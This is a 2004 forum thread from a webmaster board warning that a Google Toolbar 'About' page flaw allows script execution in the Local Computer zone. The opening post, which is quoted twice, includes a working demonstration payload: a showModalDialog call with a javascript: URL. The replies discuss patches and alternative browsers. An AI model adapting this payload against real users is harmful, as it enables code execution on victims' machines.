Careful, exploit for google toolbar is out - GoFuckYourself.com

hydro · 09-18-2004, 08:21 AM

A remote user can execute arbitrary scripting code in the Local Computer security zone.

It is reported that the 'About' section of the Google Toolbar does not properly filter HTML code. A remote user can create HTML that, when loaded by the target user, will invoke the About page and execute arbitrary scripting code in the context of the page.

A demonstration exploit is provided:

<s c r i p t>
window.showModalDialog("res://C:\\Program%20Files\\Google\\GoogleToolbar1.dll/ABOUT.HTML",
"<div style=\"background-image:
url(javascript:alert(location.href));\">");
</s c r i p t>

CheneyRumsfeld · 09-18-2004, 08:23 AM

oh, shit

doober · 09-18-2004, 08:24 AM

so should i bust a cap in my googlebar or what?

are they planning to offer an update/patch ala microsoft?

Fake Nick · 09-18-2004, 08:26 AM

very smart to post an example code

TheSenator · 09-18-2004, 08:38 AM

nothing happens

arg · 09-18-2004, 08:42 AM

Use Firefox and if you want to see pageranks, install the extension below. Takes up a lot less space than google's toolbar.

Google Pagerank extension:

http://www.tapouillo.com/firefox_extension/

KRL · 09-18-2004, 08:42 AM

http://www.Opera.com

hydro · 09-18-2004, 08:45 AM

Quote:

Originally posted by doober
so should i bust a cap in my googlebar or what?

are they planning to offer an update/patch ala microsoft?

just disable it when your going to "questionable" sites. No word from google on an update but knowing them it won't take long.

09-18-2004, 08:21 AM	#1
hydro Confirmed User Join Date: Dec 2003 Location: Dirty 3rd Posts: 4,216	Careful, exploit for google toolbar is out A remote user can execute arbitrary scripting code in the Local Computer security zone. It is reported that the 'About' section of the Google Toolbar does not properly filter HTML code. A remote user can create HTML that, when loaded by the target user, will invoke the About page and execute arbitrary scripting code in the context of the page. A demonstration exploit is provided: <s c r i p t> window.showModalDialog("res://C:\\Program%20Files\\Google\\GoogleToolbar1.dll/ABOUT.HTML", "<div style=\"background-image: url(javascript:alert(location.href));\">"); </s c r i p t>

09-18-2004, 08:38 AM	#5
TheSenator Too lazy to set a custom title Industry Role: Join Date: Feb 2003 Location: NJ Posts: 13,340	nothing happens __________________ ISeekGirls.com since 2005

09-18-2004, 08:42 AM	#7
KRL Entrepreneur Join Date: Oct 2002 Location: USA Posts: 31,429	http://www.Opera.com __________________ If you would like to develop your domains, you can lease inexpensive foreign labor from the leaders in the field at iWebmasters.com TO LOWER YOUR COSTS AND INCREASE YOUR PRODUCTION! * * * * * * * * * * * * Domains Adult News KRL's Newsletter Biz Tips Just Listed Domains

09-18-2004, 08:23 AM	#2
CheneyRumsfeld Confirmed User Join Date: Sep 2004 Posts: 1,341	oh, shit

09-18-2004, 08:24 AM	#3
doober Confirmed User Join Date: Jul 2003 Location: in yoOoo kitchen Posts: 6,984	so should i bust a cap in my googlebar or what? are they planning to offer an update/patch ala microsoft?

09-18-2004, 08:26 AM	#4
Fake Nick So Fucking Banned Join Date: Jul 2004 Location: go troll goo! Posts: 7,708	very smart to post an example code

09-18-2004, 08:42 AM	#6
arg Confirmed User Join Date: Feb 2003 Posts: 1,164	Use Firefox and if you want to see pageranks, install the extension below. Takes up a lot less space than google's toolbar. Google Pagerank extension: http://www.tapouillo.com/firefox_extension/